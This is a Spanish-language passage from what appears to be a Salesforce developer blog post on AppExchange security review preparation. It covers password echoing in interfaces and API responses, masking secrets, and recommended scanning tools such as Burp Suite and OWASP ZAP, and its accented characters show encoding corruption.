Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo